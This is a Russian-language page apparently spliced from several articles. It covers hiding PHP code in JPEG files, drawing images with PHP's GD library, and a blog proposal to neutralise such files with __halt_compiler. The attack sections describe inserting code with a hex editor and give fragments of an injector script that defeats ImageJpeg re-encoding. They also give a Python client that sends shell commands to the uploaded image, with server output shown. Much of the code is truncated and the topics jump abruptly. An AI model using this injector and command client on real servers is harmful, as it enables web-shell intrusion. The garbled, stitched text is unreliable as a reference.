код php в картинке
PHP код в картинке
В данной статье опишу способ скрыть PHP код в картинке.
Для начала нам нужна программа WinHex.
Программу можно скачать с официального сайта разработчика http://winhex.com.
Следующее, что нужно сделать, это открыть картинку данной программе и перейти в самый конец файла.
Последние два байта будут равны FF D9. Каждый файл JPEG заканчивается данным значениями.
Для общей информации можно обратить внимание, что все файлы изображений JPEG начинаются значениями FF D8. Далее существует еще много значений, сжатие файла, разновидность, образ упаковки и т.д.
Опускаемся в самый низ кода в байт FF D9. Далее копируем в буфер обмена свой PHP код. Возьмем для примера:
Далее вставляем его в редактор, и в окне подтверждения на операцию добавления выбираем ANSI-ASCII. Затем нужно в самом конце дописать последние байты FF D9, а эти же значения на старом месте заменяем нулями.
Еще одно важное замечание, нужно, чтобы начальная картинка не имела в себе никакую встроенную в код выполняемую информацию. Это можно легко проверить, открыв изображение, например FarManager => F4 и в поиск (F7) ввести » 20 июня 2017 10:04
Php код в картинку
Работа с изображениями
и библиотека GD
Давайте теперь рассмотрим идею создания рисунков сценарием «на лету». Например,
как мы уже замечали, это очень может пригодиться при создании сценариев-
счетчиков, графиков, картинок-заголовков да и многого другого.
Для деятельности такого рода существует специальная библиотека под названием
GD. Она содержит в себе множество функций (такие как рисование линий, растяже-
ние/сжатие изображения, заливка до границы, вывод текста и т. д.), которые могут
использовать программы, поддерживающие работу с данной библиотекой. PHP (со
включенной поддержкой GD) как раз и является такой программой.
Поддержка GD включается при компиляции и установке PHP. Возможно, неко-
торые хостинг-провайдеры ее не имеют. Выясните, работает ли PHP вашего
хостера с библиотекой GD.
Начнем сразу с примера сценария, который представляет собой не HTML-страницу в
обычном смысле, а рисунок PNG. То есть URL этого сценария можно поместить в
тэг:
Как только будет загружена страница, содержащая указанный тэг, сценарий запус-
тится и отобразит надпись Hello world! на фоне рисунка, лежащего в
images/button.png. Полученная картинка нигде не будет храниться — она созда-
ется «на лету».
Рис. 23.1. Демонстрация
возможностей вывода
TrueType-шрифтов на PHP
Глава 23. Работа с изображениями 317
Листинг 23.1. Создание картинки «на лету»
Итак, мы получили возможность «на лету» создавать стандартные кнопки с разными
надписями, имея только «шаблон» кнопки.
Рисуем картинку/лого/аватор. Только поаккуратнее, и оставляем свободное место для текста,
который будет выводить скрипт. Сохраняем в формате png под именем «img.png».
В файле с именем «logo.png» сохраняем нижеследующее:
Сокрытие PHP-кода в изображениях
Некоторое время назад мне на глаза попалась тема на форуме, посвященная загрузке файлов средствами PHP. В том топике люди обсуждали меры, которые необходимо предпринять, чтобы обезопасить сервер от вредоносных файлов.
Некоторое время назад мне на глаза попалась тема на форуме, посвященная загрузке файлов средствами PHP. В том топике люди обсуждали меры, которые необходимо предпринять, чтобы обезопасить сервер от вредоносных файлов. В частности, предлагалось разрешить загрузку только определенных типов файлов, обрабатывать уже загруженные файлы и т. д.
В процессе той дискуссии были придуманы следующие меры безопасности: запретить загрузку файлов, относящихся к php-скриптам, а затем при помощи ImageJpeg (функция обработки изображений средствами PHP) провести верификацию загруженных изображений. Мне, как разработчику, этот комплекс мер вполне нравится. Если файл не соответствует графическому формату, функция ImageJpeg возвратит false, и загрузка отменится. С другой стороны, даже если злоумышленнику удастся внедрить код в изображение, картинка перед сохранением на диск также будет обработана и изменена функцией ImageJpeg.
Следующая идея – добавить код напрямую в изображение при помощи шестнадцатеричного редактора так, чтобы картинка выглядела «правильной» для функции ImageJpeg. Основная сложность в реализации этого метода была связана с описанными ранее причинами: после обработки изображения функцией ImageJpeg и записи файла на диск код был поврежден. Картинка практически всегда оказывалась корректной за исключением небольших искажений (по причине моего вмешательства).
После долгих экспериментов мне удалось получить обработанное изображение с работоспособным кодом внутри.
В процессе улучшения метода инжекта кода, убедившись, что изображение искажается не сильно, я написал скрипт, который автоматически добавляет код в картинку. После отработки скрипта и обработки заряженного изображения различными утилитами (в том числе функцией ImageJpeg) код оставался работоспособен. Проводилось даже тестирование на изменение размера картинки, и во многих случаях код также работал (но не всегда).
Ниже показано изображение до инжекта кода:
Следующее изображение (степень искажения зависит от конкретной картинки) уже с инжектированным кодом. Не беспокойтесь, в текущем состоянии код не выполнится.
Ниже представлен скрипт автоматизирующий процесс добавления кода:
ini_set(‘display_errors’, 0);
error_reporting(0);
//File that contains the finished result to be uploaded
$result_file = ‘pic.jpg.phtml’;
//Original input file
$orig = ‘test.jpg’;
//Code to be hidden in the image data
$code = »;
echo «-=Imagejpeg injector 1.6=-\n»;
echo «[+] Jumping to end byte\n»;
$start_byte = findStart($data);
sleep(1);
$src = imagecreatefromjpeg($result_file);
echo «[-] Unable to find valid injection point. Try a shorter command or another image\n»;
Подводим итоги. После нескольких дней экспериментов мне удалось обойти защиту скрипта и автоматизировать процесс (этапы работы скрипта показаны ниже):
[+] Jumping to end byte
[+] Searching for valid injection point
[+] Injection completed successfully
[+] Filename: result.phtml
И в завершении я написал простенький скрипт для пересылки команд файлу после загрузки на сервер, парсинга информации внутри изображения и отображение результатов.
import urllib.request
import argparse
import http.client
import urllib.parse
import re
def main():
parser = argparse.ArgumentParser()
parser.add_argument(«domain», help=»domain to connect to»)
parser.add_argument(«port», help=»port to connect to»)
parser.add_argument(«path», help=»path to the jellyshelly file»)
args = parser.parse_args()
domain = args.domain
path = args.path
port = args.port
def makeRequest(cmd, domain, port, path):
lines = cmd.split(‘\n’)
httpServ = http.client.HTTPConnection(domain, port)
httpServ.connect()
httpServ.request(‘POST’, path, params, headers)
response = httpServ.getresponse()
response_string = response.read().decode(«utf-8», «replace»)
if response.status == http.client.OK:
for result in re.findall(r'(?
Linux truesechp01 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64
Отображение текста и фигур на изображениях в PHP
В предыдущей статье мы сосредоточились на загрузке и управлениями изображениями с помощью PHP. Мы научились, как поворачивать, изменить размер и масштаб или зеркально переворачивать изображение. Мы также узнали о различных фильтров и о матрице конволюции. Эти обучающие статьи также охватывает некоторые практические применения библиотеки GD, такие как изменение всех изображений в директории или добавление водяных знаков на несколько изображений одновременно.
Помимо использования GD для управления обычными изображениями, мы можем создать наш собственный с нуля. Различные функции в библиотеке могут использоваться для рисования основных фигур, таких как эллипсы, круги, прямоугольники, многоугольники и простые линии. С применением небольшой математики, эти фигуры могут создавать приятные узоры. Также есть функции для рисования текста на отрисованном изображении, что открывает много возможностей.
Эта статья научит вас, как рисовать основные формы в PHP и как осуществлять отрисовку текста, используя ваш любимый шрифта.
Рисования основных фигур в PHP с GD
Мы узнаем об основных фигур в этом разделе, а затем рассмотрим толщину линии, кисти и стили линий позже.
Рисование линии
Рисование кругов и дуг
Рисование прямоугольников и многоугольников
Собираем все вместе для создания изображения
В следующем примере мы использовали все эти функции для создания изображения с домом, солнцем и землей.
Контроль толщины линии, стиля и заполнения цвета
Толщина линии
Рисование закрашенных фигур
Каждая функция рисования также имеет версию с заполнением цвета, которая заполняет конкретную фигуру с заданным цветом. Например, imagefilledrectangle() окрасит отрисованный прямоугольник с заданным цветом.
Использование кисти
Я нашел изображение облака на Pixabay и уменьшил его до соответствующего размера для нашего проекта.
Ниже приводится полный код для изображения дома. Мы просто добавили две версии каждой фигуры, одеу для рисования контура, а другая для заполнения цветом.
Это окончательный результат кода выше, использующего PHP-расширение GD.
Отображение текста на изображениях
Когда дело доходит до отображения текста, четыре функции, которые мы обсуждали выше весьма ограничены. Вы обнаружите, что даже самое большое значение размер шрифта слишком маленькое для обычного использования. Кроме того, текст может быть написан только горизонтально и вертикально.
В следующем примере используются все эти функции для создания некоторых приятных текстовых эффектов.
Как вы можете видеть, мы отрисовали один и тот же текст с тем же шрифтом в слегка различных позиций для создания некоторых эффектов, например, тень. Важно иметь в виду, что текст, отображаемый любой текстовой функции полностью скроет текст ниже в случае наложения. Вот окончательное изображение, полученное после выполнения указанного выше кода.
Заключительные мысли
Цель данной статьи – познакомить вас с различными функциями GD для рисования основных фигур в PHP с нуля. С помощью небольшой математики можно использовать эти функции для создания более сложных фигур, таких как обычные полигоны, скругленные прямоугольники и т.д.
PHP GD также имеет несколько очень полезных функций для отображения текста на изображении. Использование красивого шрифта гарантирует, что отрисованный текст не выглядит странным при размещении на обычных изображений, загруженных из различных файловых путей.
Вы создали все более необычные эффекты текста в PHP? Пожалуйста, поделитесь ими с нами в комментариях.
Евгений Степанищев
На «Хабре» всплыла тема атаки, старой как мир — заливаем на сайт картинку, у которой внутри (в поле комментариев) есть ПХП-код, потом всякими трюками этот код запускаем. Валидатор картинок на сайте такую картинку пропускает — это вполне валидная картинка.
Во всех форматах принятых в вебе, есть поле, позволяющее вставить такие данные. В JPEG есть специальные секции APPn и COM, в PNG — iTXt, tEXt и можно создавать произвольные секции, в GIF — блоки расширений, в SVG можно использовать обычный XML-комментарий.
В качестве абсолютного метода защиты на «Хабре» предлагается пропустить картинку через какую-либо графическую программу, чтобы убедиться, что все дополнительные данные исчезли. Мне кажется, плохой способ — медленный, а в случае JPEG это ещё и скажется на качестве.
Можно ещё попробовать вырезать все секции файла, куда можно запихнуть текстовую информацию, но это не спасёт от файлов, где ПХП вставлен прямо в графическую часть, так, чтобы детектор валидности картинки (в ПХП для этого обычно используют getimagesize) не спотыкался на файле.
Мне кажется, я придумал более удачный метод защиты.
В загруженный файл можно добавить первой секцией (сразу после заголовка) свой собственный кусок ПХП-кода с вызовом __halt_compiler эта специальная конструкция останавливает интерпретатор в этой точке и всё остальное содержимое файла дальше не интерпретируется:
Т. е. на экран выводится бинарный заголовок JPEG, первая секция, а потом интерпретатор дальше просто не идёт. Будет дальше ход хакера или нет, он не проинтерпретируется.